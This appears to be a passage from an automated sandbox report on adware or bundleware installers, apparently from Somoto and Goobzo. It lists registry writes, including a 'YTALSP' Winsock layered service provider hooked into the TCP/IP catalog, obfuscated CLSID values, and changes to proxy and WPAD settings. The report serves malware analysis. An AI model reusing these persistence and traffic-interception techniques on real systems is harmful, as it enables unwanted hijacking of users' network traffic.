"(Default)" = "_xYWa|neorl}}DLA~e"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "[YdvjP@L}rIQuf\PamKGys@ZEtcmE"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_rX[P|iprP`LRKtAeZ~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "ShJXBQjluXsSaDrxyq`fbISIl@Otl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "GU@AT"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}Q~id|CHfwppbm[b|tiGOXLYqPd}yu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "P~tt|Cg|Ef}hemNNDp_"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "jodEXeUMHZGUmhBjdg]FB"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:1452 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYWa|neorl}}DLA~e"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "ShJXBQjluXsSaDrxyq`fRISIl@ODl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "xfUJN"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_rX[P|iprP`LRKtAeZ~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}Q~id|CHfwppbm[b|tiGOXLYqPd}yu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "jodEXeUMHZGUmhBjdg]FB"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "[YdvjP@L}rIQuf\PamKGys@ZEtcmE"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "P~tt|Cg|Ef}hb]NNDp_"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

The process GLJ3321.tmp:3172 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process appshat_generic.exe:604 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "25 AC C4 C2 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "0D 37 4D C6 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "0D 37 4D C6 18 1A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:1648 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "58 9F 00 93 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "80 DE 72 97 18 1A D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
